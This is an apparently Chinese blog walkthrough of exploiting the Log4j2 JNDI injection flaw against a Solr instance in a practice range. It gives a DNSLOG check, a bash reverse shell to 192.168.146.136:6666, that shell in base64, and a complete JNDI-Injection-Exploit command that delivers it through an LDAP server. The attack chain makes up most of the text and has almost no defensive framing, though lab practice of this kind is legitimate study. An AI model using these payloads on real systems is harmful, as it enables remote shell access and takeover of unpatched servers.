代码执行漏洞-Log4j2漏洞

启动靶场环境

⾃⼰搭建的DNSLOG平台上获取⼀个域名来监控我们注⼊的效果..

可以发现 /solr/admin/cores?action= 这⾥有个参数可以传,可以按照上⾯的原理 先构造⼀个请求传过去存在JNDI注⼊那么ldap服务端会执⾏我们传上去的payload然后在DNSLOG 平台上那⾥留下记录,我们可以看到留下了访问记录并且前⾯的参数被执⾏后给我们回显了java的 版本号!

开始反弹Shell准备 JNDI-Injection-Exploit 下载地址并构造PayLoad如下...启动!

JDNI项⽬地址

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

反弹shell

bash -i >& /dev/tcp/192.168.146.136/6666 0>&1

反弹Shell-base64加密

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xMzYvNjY2NiAwPiYx

最终Payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xMzYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.146.136"

服务器监听

拿取JDK1.8并构造Payload且直接访问..可以看到⽹⻚被重定向到了我们的恶意类⽹址.

相关推荐
bellediao1 天前
idea中使用通义灵码的常用用法和技巧
log4j
CS Beginner1 天前
【搭建】个人博客网站的搭建
java·前端·学习·servlet·log4j·mybatis
optimistic_chen1 天前
【Java EE进阶 --- SpringBoot】统一功能处理(拦截器)
spring boot·后端·java-ee·log4j·拦截器
熙客3 天前
后端日志框架
java·开发语言·log4j·logback
CodeAmaz4 天前
annotation-logging-guide
java·spring·log4j
谢尔登12 天前
【Nest】单元测试
单元测试·log4j
编啊编程啊程13 天前
【011】宠物共享平台
spring boot·log4j·maven·dubbo·宠物
为java加瓦23 天前
优化 Service 层架构:从高耦合到清晰分层的实战重构指南
log4j
Y1_again_0_again23 天前
Java中第三方日志库-Log4J
java·开发语言·log4j
杨小熊的笔记1 个月前
final字段单元测试
单元测试·log4j